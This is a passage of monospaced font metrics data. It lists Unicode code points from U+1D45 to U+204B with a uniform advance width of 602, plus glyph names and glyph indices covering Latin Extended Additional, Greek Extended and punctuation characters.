U 7493 ; WX 602 ; N uni1D45 ; G 1225
U 7494 ; WX 602 ; N uni1D46 ; G 1226
U 7495 ; WX 602 ; N uni1D47 ; G 1227
U 7496 ; WX 602 ; N uni1D48 ; G 1228
U 7497 ; WX 602 ; N uni1D49 ; G 1229
U 7498 ; WX 602 ; N uni1D4A ; G 1230
U 7499 ; WX 602 ; N uni1D4B ; G 1231
U 7500 ; WX 602 ; N uni1D4C ; G 1232
U 7501 ; WX 602 ; N uni1D4D ; G 1233
U 7502 ; WX 602 ; N uni1D4E ; G 1234
U 7503 ; WX 602 ; N uni1D4F ; G 1235
U 7504 ; WX 602 ; N uni1D50 ; G 1236
U 7505 ; WX 602 ; N uni1D51 ; G 1237
U 7506 ; WX 602 ; N uni1D52 ; G 1238
U 7507 ; WX 602 ; N uni1D53 ; G 1239
U 7508 ; WX 602 ; N uni1D54 ; G 1240
U 7509 ; WX 602 ; N uni1D55 ; G 1241
U 7510 ; WX 602 ; N uni1D56 ; G 1242
U 7511 ; WX 602 ; N uni1D57 ; G 1243
U 7512 ; WX 602 ; N uni1D58 ; G 1244
U 7513 ; WX 602 ; N uni1D59 ; G 1245
U 7514 ; WX 602 ; N uni1D5A ; G 1246
U 7515 ; WX 602 ; N uni1D5B ; G 1247
U 7522 ; WX 602 ; N uni1D62 ; G 1248
U 7523 ; WX 602 ; N uni1D63 ; G 1249
U 7524 ; WX 602 ; N uni1D64 ; G 1250
U 7525 ; WX 602 ; N uni1D65 ; G 1251
U 7543 ; WX 602 ; N uni1D77 ; G 1252
U 7544 ; WX 602 ; N uni1D78 ; G 1253
U 7547 ; WX 602 ; N uni1D7B ; G 1254
U 7557 ; WX 602 ; N uni1D85 ; G 1255
U 7579 ; WX 602 ; N uni1D9B ; G 1256
U 7580 ; WX 602 ; N uni1D9C ; G 1257
U 7581 ; WX 602 ; N uni1D9D ; G 1258
U 7582 ; WX 602 ; N uni1D9E ; G 1259
U 7583 ; WX 602 ; N uni1D9F ; G 1260
U 7584 ; WX 602 ; N uni1DA0 ; G 1261
U 7585 ; WX 602 ; N uni1DA1 ; G 1262
U 7586 ; WX 602 ; N uni1DA2 ; G 1263
U 7587 ; WX 602 ; N uni1DA3 ; G 1264
U 7588 ; WX 602 ; N uni1DA4 ; G 1265
U 7589 ; WX 602 ; N uni1DA5 ; G 1266
U 7590 ; WX 602 ; N uni1DA6 ; G 1267
U 7591 ; WX 602 ; N uni1DA7 ; G 1268
U 7592 ; WX 602 ; N uni1DA8 ; G 1269
U 7593 ; WX 602 ; N uni1DA9 ; G 1270
U 7594 ; WX 602 ; N uni1DAA ; G 1271
U 7595 ; WX 602 ; N uni1DAB ; G 1272
U 7596 ; WX 602 ; N uni1DAC ; G 1273
U 7597 ; WX 602 ; N uni1DAD ; G 1274
U 7598 ; WX 602 ; N uni1DAE ; G 1275
U 7599 ; WX 602 ; N uni1DAF ; G 1276
U 7600 ; WX 602 ; N uni1DB0 ; G 1277
U 7601 ; WX 602 ; N uni1DB1 ; G 1278
U 7602 ; WX 602 ; N uni1DB2 ; G 1279
U 7603 ; WX 602 ; N uni1DB3 ; G 1280
U 7604 ; WX 602 ; N uni1DB4 ; G 1281
U 7605 ; WX 602 ; N uni1DB5 ; G 1282
U 7606 ; WX 602 ; N uni1DB6 ; G 1283
U 7607 ; WX 602 ; N uni1DB7 ; G 1284
U 7609 ; WX 602 ; N uni1DB9 ; G 1285
U 7610 ; WX 602 ; N uni1DBA ; G 1286
U 7611 ; WX 602 ; N uni1DBB ; G 1287
U 7612 ; WX 602 ; N uni1DBC ; G 1288
U 7613 ; WX 602 ; N uni1DBD ; G 1289
U 7614 ; WX 602 ; N uni1DBE ; G 1290
U 7615 ; WX 602 ; N uni1DBF ; G 1291
U 7680 ; WX 602 ; N uni1E00 ; G 1292
U 7681 ; WX 602 ; N uni1E01 ; G 1293
U 7682 ; WX 602 ; N uni1E02 ; G 1294
U 7683 ; WX 602 ; N uni1E03 ; G 1295
U 7684 ; WX 602 ; N uni1E04 ; G 1296
U 7685 ; WX 602 ; N uni1E05 ; G 1297
U 7686 ; WX 602 ; N uni1E06 ; G 1298
U 7687 ; WX 602 ; N uni1E07 ; G 1299
U 7688 ; WX 602 ; N uni1E08 ; G 1300
U 7689 ; WX 602 ; N uni1E09 ; G 1301
U 7690 ; WX 602 ; N uni1E0A ; G 1302
U 7691 ; WX 602 ; N uni1E0B ; G 1303
U 7692 ; WX 602 ; N uni1E0C ; G 1304
U 7693 ; WX 602 ; N uni1E0D ; G 1305
U 7694 ; WX 602 ; N uni1E0E ; G 1306
U 7695 ; WX 602 ; N uni1E0F ; G 1307
U 7696 ; WX 602 ; N uni1E10 ; G 1308
U 7697 ; WX 602 ; N uni1E11 ; G 1309
U 7698 ; WX 602 ; N uni1E12 ; G 1310
U 7699 ; WX 602 ; N uni1E13 ; G 1311
U 7704 ; WX 602 ; N uni1E18 ; G 1312
U 7705 ; WX 602 ; N uni1E19 ; G 1313
U 7706 ; WX 602 ; N uni1E1A ; G 1314
U 7707 ; WX 602 ; N uni1E1B ; G 1315
U 7708 ; WX 602 ; N uni1E1C ; G 1316
U 7709 ; WX 602 ; N uni1E1D ; G 1317
U 7710 ; WX 602 ; N uni1E1E ; G 1318
U 7711 ; WX 602 ; N uni1E1F ; G 1319
U 7712 ; WX 602 ; N uni1E20 ; G 1320
U 7713 ; WX 602 ; N uni1E21 ; G 1321
U 7714 ; WX 602 ; N uni1E22 ; G 1322
U 7715 ; WX 602 ; N uni1E23 ; G 1323
U 7716 ; WX 602 ; N uni1E24 ; G 1324
U 7717 ; WX 602 ; N uni1E25 ; G 1325
U 7718 ; WX 602 ; N uni1E26 ; G 1326
U 7719 ; WX 602 ; N uni1E27 ; G 1327
U 7720 ; WX 602 ; N uni1E28 ; G 1328
U 7721 ; WX 602 ; N uni1E29 ; G 1329
U 7722 ; WX 602 ; N uni1E2A ; G 1330
U 7723 ; WX 602 ; N uni1E2B ; G 1331
U 7724 ; WX 602 ; N uni1E2C ; G 1332
U 7725 ; WX 602 ; N uni1E2D ; G 1333
U 7728 ; WX 602 ; N uni1E30 ; G 1334
U 7729 ; WX 602 ; N uni1E31 ; G 1335
U 7730 ; WX 602 ; N uni1E32 ; G 1336
U 7731 ; WX 602 ; N uni1E33 ; G 1337
U 7732 ; WX 602 ; N uni1E34 ; G 1338
U 7733 ; WX 602 ; N uni1E35 ; G 1339
U 7734 ; WX 602 ; N uni1E36 ; G 1340
U 7735 ; WX 602 ; N uni1E37 ; G 1341
U 7736 ; WX 602 ; N uni1E38 ; G 1342
U 7737 ; WX 602 ; N uni1E39 ; G 1343
U 7738 ; WX 602 ; N uni1E3A ; G 1344
U 7739 ; WX 602 ; N uni1E3B ; G 1345
U 7740 ; WX 602 ; N uni1E3C ; G 1346
U 7741 ; WX 602 ; N uni1E3D ; G 1347
U 7742 ; WX 602 ; N uni1E3E ; G 1348
U 7743 ; WX 602 ; N uni1E3F ; G 1349
U 7744 ; WX 602 ; N uni1E40 ; G 1350
U 7745 ; WX 602 ; N uni1E41 ; G 1351
U 7746 ; WX 602 ; N uni1E42 ; G 1352
U 7747 ; WX 602 ; N uni1E43 ; G 1353
U 7748 ; WX 602 ; N uni1E44 ; G 1354
U 7749 ; WX 602 ; N uni1E45 ; G 1355
U 7750 ; WX 602 ; N uni1E46 ; G 1356
U 7751 ; WX 602 ; N uni1E47 ; G 1357
U 7752 ; WX 602 ; N uni1E48 ; G 1358
U 7753 ; WX 602 ; N uni1E49 ; G 1359
U 7754 ; WX 602 ; N uni1E4A ; G 1360
U 7755 ; WX 602 ; N uni1E4B ; G 1361
U 7756 ; WX 602 ; N uni1E4C ; G 1362
U 7757 ; WX 602 ; N uni1E4D ; G 1363
U 7764 ; WX 602 ; N uni1E54 ; G 1364
U 7765 ; WX 602 ; N uni1E55 ; G 1365
U 7766 ; WX 602 ; N uni1E56 ; G 1366
U 7767 ; WX 602 ; N uni1E57 ; G 1367
U 7768 ; WX 602 ; N uni1E58 ; G 1368
U 7769 ; WX 602 ; N uni1E59 ; G 1369
U 7770 ; WX 602 ; N uni1E5A ; G 1370
U 7771 ; WX 602 ; N uni1E5B ; G 1371
U 7772 ; WX 602 ; N uni1E5C ; G 1372
U 7773 ; WX 602 ; N uni1E5D ; G 1373
U 7774 ; WX 602 ; N uni1E5E ; G 1374
U 7775 ; WX 602 ; N uni1E5F ; G 1375
U 7776 ; WX 602 ; N uni1E60 ; G 1376
U 7777 ; WX 602 ; N uni1E61 ; G 1377
U 7778 ; WX 602 ; N uni1E62 ; G 1378
U 7779 ; WX 602 ; N uni1E63 ; G 1379
U 7784 ; WX 602 ; N uni1E68 ; G 1380
U 7785 ; WX 602 ; N uni1E69 ; G 1381
U 7786 ; WX 602 ; N uni1E6A ; G 1382
U 7787 ; WX 602 ; N uni1E6B ; G 1383
U 7788 ; WX 602 ; N uni1E6C ; G 1384
U 7789 ; WX 602 ; N uni1E6D ; G 1385
U 7790 ; WX 602 ; N uni1E6E ; G 1386
U 7791 ; WX 602 ; N uni1E6F ; G 1387
U 7792 ; WX 602 ; N uni1E70 ; G 1388
U 7793 ; WX 602 ; N uni1E71 ; G 1389
U 7794 ; WX 602 ; N uni1E72 ; G 1390
U 7795 ; WX 602 ; N uni1E73 ; G 1391
U 7796 ; WX 602 ; N uni1E74 ; G 1392
U 7797 ; WX 602 ; N uni1E75 ; G 1393
U 7798 ; WX 602 ; N uni1E76 ; G 1394
U 7799 ; WX 602 ; N uni1E77 ; G 1395
U 7800 ; WX 602 ; N uni1E78 ; G 1396
U 7801 ; WX 602 ; N uni1E79 ; G 1397
U 7804 ; WX 602 ; N uni1E7C ; G 1398
U 7805 ; WX 602 ; N uni1E7D ; G 1399
U 7806 ; WX 602 ; N uni1E7E ; G 1400
U 7807 ; WX 602 ; N uni1E7F ; G 1401
U 7808 ; WX 602 ; N Wgrave ; G 1402
U 7809 ; WX 602 ; N wgrave ; G 1403
U 7810 ; WX 602 ; N Wacute ; G 1404
U 7811 ; WX 602 ; N wacute ; G 1405
U 7812 ; WX 602 ; N Wdieresis ; G 1406
U 7813 ; WX 602 ; N wdieresis ; G 1407
U 7814 ; WX 602 ; N uni1E86 ; G 1408
U 7815 ; WX 602 ; N uni1E87 ; G 1409
U 7816 ; WX 602 ; N uni1E88 ; G 1410
U 7817 ; WX 602 ; N uni1E89 ; G 1411
U 7818 ; WX 602 ; N uni1E8A ; G 1412
U 7819 ; WX 602 ; N uni1E8B ; G 1413
U 7820 ; WX 602 ; N uni1E8C ; G 1414
U 7821 ; WX 602 ; N uni1E8D ; G 1415
U 7822 ; WX 602 ; N uni1E8E ; G 1416
U 7823 ; WX 602 ; N uni1E8F ; G 1417
U 7824 ; WX 602 ; N uni1E90 ; G 1418
U 7825 ; WX 602 ; N uni1E91 ; G 1419
U 7826 ; WX 602 ; N uni1E92 ; G 1420
U 7827 ; WX 602 ; N uni1E93 ; G 1421
U 7828 ; WX 602 ; N uni1E94 ; G 1422
U 7829 ; WX 602 ; N uni1E95 ; G 1423
U 7830 ; WX 602 ; N uni1E96 ; G 1424
U 7831 ; WX 602 ; N uni1E97 ; G 1425
U 7832 ; WX 602 ; N uni1E98 ; G 1426
U 7833 ; WX 602 ; N uni1E99 ; G 1427
U 7835 ; WX 602 ; N uni1E9B ; G 1428
U 7839 ; WX 602 ; N uni1E9F ; G 1429
U 7840 ; WX 602 ; N uni1EA0 ; G 1430
U 7841 ; WX 602 ; N uni1EA1 ; G 1431
U 7852 ; WX 602 ; N uni1EAC ; G 1432
U 7853 ; WX 602 ; N uni1EAD ; G 1433
U 7856 ; WX 602 ; N uni1EB0 ; G 1434
U 7857 ; WX 602 ; N uni1EB1 ; G 1435
U 7862 ; WX 602 ; N uni1EB6 ; G 1436
U 7863 ; WX 602 ; N uni1EB7 ; G 1437
U 7864 ; WX 602 ; N uni1EB8 ; G 1438
U 7865 ; WX 602 ; N uni1EB9 ; G 1439
U 7868 ; WX 602 ; N uni1EBC ; G 1440
U 7869 ; WX 602 ; N uni1EBD ; G 1441
U 7878 ; WX 602 ; N uni1EC6 ; G 1442
U 7879 ; WX 602 ; N uni1EC7 ; G 1443
U 7882 ; WX 602 ; N uni1ECA ; G 1444
U 7883 ; WX 602 ; N uni1ECB ; G 1445
U 7884 ; WX 602 ; N uni1ECC ; G 1446
U 7885 ; WX 602 ; N uni1ECD ; G 1447
U 7896 ; WX 602 ; N uni1ED8 ; G 1448
U 7897 ; WX 602 ; N uni1ED9 ; G 1449
U 7898 ; WX 602 ; N uni1EDA ; G 1450
U 7899 ; WX 602 ; N uni1EDB ; G 1451
U 7900 ; WX 602 ; N uni1EDC ; G 1452
U 7901 ; WX 602 ; N uni1EDD ; G 1453
U 7904 ; WX 602 ; N uni1EE0 ; G 1454
U 7905 ; WX 602 ; N uni1EE1 ; G 1455
U 7906 ; WX 602 ; N uni1EE2 ; G 1456
U 7907 ; WX 602 ; N uni1EE3 ; G 1457
U 7908 ; WX 602 ; N uni1EE4 ; G 1458
U 7909 ; WX 602 ; N uni1EE5 ; G 1459
U 7912 ; WX 602 ; N uni1EE8 ; G 1460
U 7913 ; WX 602 ; N uni1EE9 ; G 1461
U 7914 ; WX 602 ; N uni1EEA ; G 1462
U 7915 ; WX 602 ; N uni1EEB ; G 1463
U 7918 ; WX 602 ; N uni1EEE ; G 1464
U 7919 ; WX 602 ; N uni1EEF ; G 1465
U 7920 ; WX 602 ; N uni1EF0 ; G 1466
U 7921 ; WX 602 ; N uni1EF1 ; G 1467
U 7922 ; WX 602 ; N Ygrave ; G 1468
U 7923 ; WX 602 ; N ygrave ; G 1469
U 7924 ; WX 602 ; N uni1EF4 ; G 1470
U 7925 ; WX 602 ; N uni1EF5 ; G 1471
U 7928 ; WX 602 ; N uni1EF8 ; G 1472
U 7929 ; WX 602 ; N uni1EF9 ; G 1473
U 7936 ; WX 602 ; N uni1F00 ; G 1474
U 7937 ; WX 602 ; N uni1F01 ; G 1475
U 7938 ; WX 602 ; N uni1F02 ; G 1476
U 7939 ; WX 602 ; N uni1F03 ; G 1477
U 7940 ; WX 602 ; N uni1F04 ; G 1478
U 7941 ; WX 602 ; N uni1F05 ; G 1479
U 7942 ; WX 602 ; N uni1F06 ; G 1480
U 7943 ; WX 602 ; N uni1F07 ; G 1481
U 7944 ; WX 602 ; N uni1F08 ; G 1482
U 7945 ; WX 602 ; N uni1F09 ; G 1483
U 7946 ; WX 602 ; N uni1F0A ; G 1484
U 7947 ; WX 602 ; N uni1F0B ; G 1485
U 7948 ; WX 602 ; N uni1F0C ; G 1486
U 7949 ; WX 602 ; N uni1F0D ; G 1487
U 7950 ; WX 602 ; N uni1F0E ; G 1488
U 7951 ; WX 602 ; N uni1F0F ; G 1489
U 7952 ; WX 602 ; N uni1F10 ; G 1490
U 7953 ; WX 602 ; N uni1F11 ; G 1491
U 7954 ; WX 602 ; N uni1F12 ; G 1492
U 7955 ; WX 602 ; N uni1F13 ; G 1493
U 7956 ; WX 602 ; N uni1F14 ; G 1494
U 7957 ; WX 602 ; N uni1F15 ; G 1495
U 7960 ; WX 602 ; N uni1F18 ; G 1496
U 7961 ; WX 602 ; N uni1F19 ; G 1497
U 7962 ; WX 602 ; N uni1F1A ; G 1498
U 7963 ; WX 602 ; N uni1F1B ; G 1499
U 7964 ; WX 602 ; N uni1F1C ; G 1500
U 7965 ; WX 602 ; N uni1F1D ; G 1501
U 7968 ; WX 602 ; N uni1F20 ; G 1502
U 7969 ; WX 602 ; N uni1F21 ; G 1503
U 7970 ; WX 602 ; N uni1F22 ; G 1504
U 7971 ; WX 602 ; N uni1F23 ; G 1505
U 7972 ; WX 602 ; N uni1F24 ; G 1506
U 7973 ; WX 602 ; N uni1F25 ; G 1507
U 7974 ; WX 602 ; N uni1F26 ; G 1508
U 7975 ; WX 602 ; N uni1F27 ; G 1509
U 7976 ; WX 602 ; N uni1F28 ; G 1510
U 7977 ; WX 602 ; N uni1F29 ; G 1511
U 7978 ; WX 602 ; N uni1F2A ; G 1512
U 7979 ; WX 602 ; N uni1F2B ; G 1513
U 7980 ; WX 602 ; N uni1F2C ; G 1514
U 7981 ; WX 602 ; N uni1F2D ; G 1515
U 7982 ; WX 602 ; N uni1F2E ; G 1516
U 7983 ; WX 602 ; N uni1F2F ; G 1517
U 7984 ; WX 602 ; N uni1F30 ; G 1518
U 7985 ; WX 602 ; N uni1F31 ; G 1519
U 7986 ; WX 602 ; N uni1F32 ; G 1520
U 7987 ; WX 602 ; N uni1F33 ; G 1521
U 7988 ; WX 602 ; N uni1F34 ; G 1522
U 7989 ; WX 602 ; N uni1F35 ; G 1523
U 7990 ; WX 602 ; N uni1F36 ; G 1524
U 7991 ; WX 602 ; N uni1F37 ; G 1525
U 7992 ; WX 602 ; N uni1F38 ; G 1526
U 7993 ; WX 602 ; N uni1F39 ; G 1527
U 7994 ; WX 602 ; N uni1F3A ; G 1528
U 7995 ; WX 602 ; N uni1F3B ; G 1529
U 7996 ; WX 602 ; N uni1F3C ; G 1530
U 7997 ; WX 602 ; N uni1F3D ; G 1531
U 7998 ; WX 602 ; N uni1F3E ; G 1532
U 7999 ; WX 602 ; N uni1F3F ; G 1533
U 8000 ; WX 602 ; N uni1F40 ; G 1534
U 8001 ; WX 602 ; N uni1F41 ; G 1535
U 8002 ; WX 602 ; N uni1F42 ; G 1536
U 8003 ; WX 602 ; N uni1F43 ; G 1537
U 8004 ; WX 602 ; N uni1F44 ; G 1538
U 8005 ; WX 602 ; N uni1F45 ; G 1539
U 8008 ; WX 602 ; N uni1F48 ; G 1540
U 8009 ; WX 602 ; N uni1F49 ; G 1541
U 8010 ; WX 602 ; N uni1F4A ; G 1542
U 8011 ; WX 602 ; N uni1F4B ; G 1543
U 8012 ; WX 602 ; N uni1F4C ; G 1544
U 8013 ; WX 602 ; N uni1F4D ; G 1545
U 8016 ; WX 602 ; N uni1F50 ; G 1546
U 8017 ; WX 602 ; N uni1F51 ; G 1547
U 8018 ; WX 602 ; N uni1F52 ; G 1548
U 8019 ; WX 602 ; N uni1F53 ; G 1549
U 8020 ; WX 602 ; N uni1F54 ; G 1550
U 8021 ; WX 602 ; N uni1F55 ; G 1551
U 8022 ; WX 602 ; N uni1F56 ; G 1552
U 8023 ; WX 602 ; N uni1F57 ; G 1553
U 8025 ; WX 602 ; N uni1F59 ; G 1554
U 8027 ; WX 602 ; N uni1F5B ; G 1555
U 8029 ; WX 602 ; N uni1F5D ; G 1556
U 8031 ; WX 602 ; N uni1F5F ; G 1557
U 8032 ; WX 602 ; N uni1F60 ; G 1558
U 8033 ; WX 602 ; N uni1F61 ; G 1559
U 8034 ; WX 602 ; N uni1F62 ; G 1560
U 8035 ; WX 602 ; N uni1F63 ; G 1561
U 8036 ; WX 602 ; N uni1F64 ; G 1562
U 8037 ; WX 602 ; N uni1F65 ; G 1563
U 8038 ; WX 602 ; N uni1F66 ; G 1564
U 8039 ; WX 602 ; N uni1F67 ; G 1565
U 8040 ; WX 602 ; N uni1F68 ; G 1566
U 8041 ; WX 602 ; N uni1F69 ; G 1567
U 8042 ; WX 602 ; N uni1F6A ; G 1568
U 8043 ; WX 602 ; N uni1F6B ; G 1569
U 8044 ; WX 602 ; N uni1F6C ; G 1570
U 8045 ; WX 602 ; N uni1F6D ; G 1571
U 8046 ; WX 602 ; N uni1F6E ; G 1572
U 8047 ; WX 602 ; N uni1F6F ; G 1573
U 8048 ; WX 602 ; N uni1F70 ; G 1574
U 8049 ; WX 602 ; N uni1F71 ; G 1575
U 8050 ; WX 602 ; N uni1F72 ; G 1576
U 8051 ; WX 602 ; N uni1F73 ; G 1577
U 8052 ; WX 602 ; N uni1F74 ; G 1578
U 8053 ; WX 602 ; N uni1F75 ; G 1579
U 8054 ; WX 602 ; N uni1F76 ; G 1580
U 8055 ; WX 602 ; N uni1F77 ; G 1581
U 8056 ; WX 602 ; N uni1F78 ; G 1582
U 8057 ; WX 602 ; N uni1F79 ; G 1583
U 8058 ; WX 602 ; N uni1F7A ; G 1584
U 8059 ; WX 602 ; N uni1F7B ; G 1585
U 8060 ; WX 602 ; N uni1F7C ; G 1586
U 8061 ; WX 602 ; N uni1F7D ; G 1587
U 8064 ; WX 602 ; N uni1F80 ; G 1588
U 8065 ; WX 602 ; N uni1F81 ; G 1589
U 8066 ; WX 602 ; N uni1F82 ; G 1590
U 8067 ; WX 602 ; N uni1F83 ; G 1591
U 8068 ; WX 602 ; N uni1F84 ; G 1592
U 8069 ; WX 602 ; N uni1F85 ; G 1593
U 8070 ; WX 602 ; N uni1F86 ; G 1594
U 8071 ; WX 602 ; N uni1F87 ; G 1595
U 8072 ; WX 602 ; N uni1F88 ; G 1596
U 8073 ; WX 602 ; N uni1F89 ; G 1597
U 8074 ; WX 602 ; N uni1F8A ; G 1598
U 8075 ; WX 602 ; N uni1F8B ; G 1599
U 8076 ; WX 602 ; N uni1F8C ; G 1600
U 8077 ; WX 602 ; N uni1F8D ; G 1601
U 8078 ; WX 602 ; N uni1F8E ; G 1602
U 8079 ; WX 602 ; N uni1F8F ; G 1603
U 8080 ; WX 602 ; N uni1F90 ; G 1604
U 8081 ; WX 602 ; N uni1F91 ; G 1605
U 8082 ; WX 602 ; N uni1F92 ; G 1606
U 8083 ; WX 602 ; N uni1F93 ; G 1607
U 8084 ; WX 602 ; N uni1F94 ; G 1608
U 8085 ; WX 602 ; N uni1F95 ; G 1609
U 8086 ; WX 602 ; N uni1F96 ; G 1610
U 8087 ; WX 602 ; N uni1F97 ; G 1611
U 8088 ; WX 602 ; N uni1F98 ; G 1612
U 8089 ; WX 602 ; N uni1F99 ; G 1613
U 8090 ; WX 602 ; N uni1F9A ; G 1614
U 8091 ; WX 602 ; N uni1F9B ; G 1615
U 8092 ; WX 602 ; N uni1F9C ; G 1616
U 8093 ; WX 602 ; N uni1F9D ; G 1617
U 8094 ; WX 602 ; N uni1F9E ; G 1618
U 8095 ; WX 602 ; N uni1F9F ; G 1619
U 8096 ; WX 602 ; N uni1FA0 ; G 1620
U 8097 ; WX 602 ; N uni1FA1 ; G 1621
U 8098 ; WX 602 ; N uni1FA2 ; G 1622
U 8099 ; WX 602 ; N uni1FA3 ; G 1623
U 8100 ; WX 602 ; N uni1FA4 ; G 1624
U 8101 ; WX 602 ; N uni1FA5 ; G 1625
U 8102 ; WX 602 ; N uni1FA6 ; G 1626
U 8103 ; WX 602 ; N uni1FA7 ; G 1627
U 8104 ; WX 602 ; N uni1FA8 ; G 1628
U 8105 ; WX 602 ; N uni1FA9 ; G 1629
U 8106 ; WX 602 ; N uni1FAA ; G 1630
U 8107 ; WX 602 ; N uni1FAB ; G 1631
U 8108 ; WX 602 ; N uni1FAC ; G 1632
U 8109 ; WX 602 ; N uni1FAD ; G 1633
U 8110 ; WX 602 ; N uni1FAE ; G 1634
U 8111 ; WX 602 ; N uni1FAF ; G 1635
U 8112 ; WX 602 ; N uni1FB0 ; G 1636
U 8113 ; WX 602 ; N uni1FB1 ; G 1637
U 8114 ; WX 602 ; N uni1FB2 ; G 1638
U 8115 ; WX 602 ; N uni1FB3 ; G 1639
U 8116 ; WX 602 ; N uni1FB4 ; G 1640
U 8118 ; WX 602 ; N uni1FB6 ; G 1641
U 8119 ; WX 602 ; N uni1FB7 ; G 1642
U 8120 ; WX 602 ; N uni1FB8 ; G 1643
U 8121 ; WX 602 ; N uni1FB9 ; G 1644
U 8122 ; WX 602 ; N uni1FBA ; G 1645
U 8123 ; WX 602 ; N uni1FBB ; G 1646
U 8124 ; WX 602 ; N uni1FBC ; G 1647
U 8125 ; WX 602 ; N uni1FBD ; G 1648
U 8126 ; WX 602 ; N uni1FBE ; G 1649
U 8127 ; WX 602 ; N uni1FBF ; G 1650
U 8128 ; WX 602 ; N uni1FC0 ; G 1651
U 8129 ; WX 602 ; N uni1FC1 ; G 1652
U 8130 ; WX 602 ; N uni1FC2 ; G 1653
U 8131 ; WX 602 ; N uni1FC3 ; G 1654
U 8132 ; WX 602 ; N uni1FC4 ; G 1655
U 8134 ; WX 602 ; N uni1FC6 ; G 1656
U 8135 ; WX 602 ; N uni1FC7 ; G 1657
U 8136 ; WX 602 ; N uni1FC8 ; G 1658
U 8137 ; WX 602 ; N uni1FC9 ; G 1659
U 8138 ; WX 602 ; N uni1FCA ; G 1660
U 8139 ; WX 602 ; N uni1FCB ; G 1661
U 8140 ; WX 602 ; N uni1FCC ; G 1662
U 8141 ; WX 602 ; N uni1FCD ; G 1663
U 8142 ; WX 602 ; N uni1FCE ; G 1664
U 8143 ; WX 602 ; N uni1FCF ; G 1665
U 8144 ; WX 602 ; N uni1FD0 ; G 1666
U 8145 ; WX 602 ; N uni1FD1 ; G 1667
U 8146 ; WX 602 ; N uni1FD2 ; G 1668
U 8147 ; WX 602 ; N uni1FD3 ; G 1669
U 8150 ; WX 602 ; N uni1FD6 ; G 1670
U 8151 ; WX 602 ; N uni1FD7 ; G 1671
U 8152 ; WX 602 ; N uni1FD8 ; G 1672
U 8153 ; WX 602 ; N uni1FD9 ; G 1673
U 8154 ; WX 602 ; N uni1FDA ; G 1674
U 8155 ; WX 602 ; N uni1FDB ; G 1675
U 8157 ; WX 602 ; N uni1FDD ; G 1676
U 8158 ; WX 602 ; N uni1FDE ; G 1677
U 8159 ; WX 602 ; N uni1FDF ; G 1678
U 8160 ; WX 602 ; N uni1FE0 ; G 1679
U 8161 ; WX 602 ; N uni1FE1 ; G 1680
U 8162 ; WX 602 ; N uni1FE2 ; G 1681
U 8163 ; WX 602 ; N uni1FE3 ; G 1682
U 8164 ; WX 602 ; N uni1FE4 ; G 1683
U 8165 ; WX 602 ; N uni1FE5 ; G 1684
U 8166 ; WX 602 ; N uni1FE6 ; G 1685
U 8167 ; WX 602 ; N uni1FE7 ; G 1686
U 8168 ; WX 602 ; N uni1FE8 ; G 1687
U 8169 ; WX 602 ; N uni1FE9 ; G 1688
U 8170 ; WX 602 ; N uni1FEA ; G 1689
U 8171 ; WX 602 ; N uni1FEB ; G 1690
U 8172 ; WX 602 ; N uni1FEC ; G 1691
U 8173 ; WX 602 ; N uni1FED ; G 1692
U 8174 ; WX 602 ; N uni1FEE ; G 1693
U 8175 ; WX 602 ; N uni1FEF ; G 1694
U 8178 ; WX 602 ; N uni1FF2 ; G 1695
U 8179 ; WX 602 ; N uni1FF3 ; G 1696
U 8180 ; WX 602 ; N uni1FF4 ; G 1697
U 8182 ; WX 602 ; N uni1FF6 ; G 1698
U 8183 ; WX 602 ; N uni1FF7 ; G 1699
U 8184 ; WX 602 ; N uni1FF8 ; G 1700
U 8185 ; WX 602 ; N uni1FF9 ; G 1701
U 8186 ; WX 602 ; N uni1FFA ; G 1702
U 8187 ; WX 602 ; N uni1FFB ; G 1703
U 8188 ; WX 602 ; N uni1FFC ; G 1704
U 8189 ; WX 602 ; N uni1FFD ; G 1705
U 8190 ; WX 602 ; N uni1FFE ; G 1706
U 8192 ; WX 602 ; N uni2000 ; G 1707
U 8193 ; WX 602 ; N uni2001 ; G 1708
U 8194 ; WX 602 ; N uni2002 ; G 1709
U 8195 ; WX 602 ; N uni2003 ; G 1710
U 8196 ; WX 602 ; N uni2004 ; G 1711
U 8197 ; WX 602 ; N uni2005 ; G 1712
U 8198 ; WX 602 ; N uni2006 ; G 1713
U 8199 ; WX 602 ; N uni2007 ; G 1714
U 8200 ; WX 602 ; N uni2008 ; G 1715
U 8201 ; WX 602 ; N uni2009 ; G 1716
U 8202 ; WX 602 ; N uni200A ; G 1717
U 8208 ; WX 602 ; N uni2010 ; G 1718
U 8209 ; WX 602 ; N uni2011 ; G 1719
U 8210 ; WX 602 ; N figuredash ; G 1720
U 8211 ; WX 602 ; N endash ; G 1721
U 8212 ; WX 602 ; N emdash ; G 1722
U 8213 ; WX 602 ; N uni2015 ; G 1723
U 8214 ; WX 602 ; N uni2016 ; G 1724
U 8215 ; WX 602 ; N underscoredbl ; G 1725
U 8216 ; WX 602 ; N quoteleft ; G 1726
U 8217 ; WX 602 ; N quoteright ; G 1727
U 8218 ; WX 602 ; N quotesinglbase ; G 1728
U 8219 ; WX 602 ; N quotereversed ; G 1729
U 8220 ; WX 602 ; N quotedblleft ; G 1730
U 8221 ; WX 602 ; N quotedblright ; G 1731
U 8222 ; WX 602 ; N quotedblbase ; G 1732
U 8223 ; WX 602 ; N uni201F ; G 1733
U 8224 ; WX 602 ; N dagger ; G 1734
U 8225 ; WX 602 ; N daggerdbl ; G 1735
U 8226 ; WX 602 ; N bullet ; G 1736
U 8227 ; WX 602 ; N uni2023 ; G 1737
U 8230 ; WX 602 ; N ellipsis ; G 1738
U 8239 ; WX 602 ; N uni202F ; G 1739
U 8240 ; WX 602 ; N perthousand ; G 1740
U 8241 ; WX 602 ; N uni2031 ; G 1741
U 8242 ; WX 602 ; N minute ; G 1742
U 8243 ; WX 602 ; N second ; G 1743
U 8244 ; WX 602 ; N uni2034 ; G 1744
U 8245 ; WX 602 ; N uni2035 ; G 1745
U 8246 ; WX 602 ; N uni2036 ; G 1746
U 8247 ; WX 602 ; N uni2037 ; G 1747
U 8249 ; WX 602 ; N guilsinglleft ; G 1748
U 8250 ; WX 602 ; N guilsinglright ; G 1749
U 8252 ; WX 602 ; N exclamdbl ; G 1750
U 8253 ; WX 602 ; N uni203D ; G 1751
U 8254 ; WX 602 ; N uni203E ; G 1752
U 8255 ; WX 602 ; N uni203F ; G 1753
U 8261 ; WX 602 ; N uni2045 ; G 1754
U 8262 ; WX 602 ; N uni2046 ; G 1755
U 8263 ; WX 602 ; N uni2047 ; G 1756
U 8264 ; WX 602 ; N uni2048 ; G 1757
U 8265 ; WX 602 ; N uni2049 ; G 1758
U 8267 ; WX 602 ; N uni204B ; G 1759
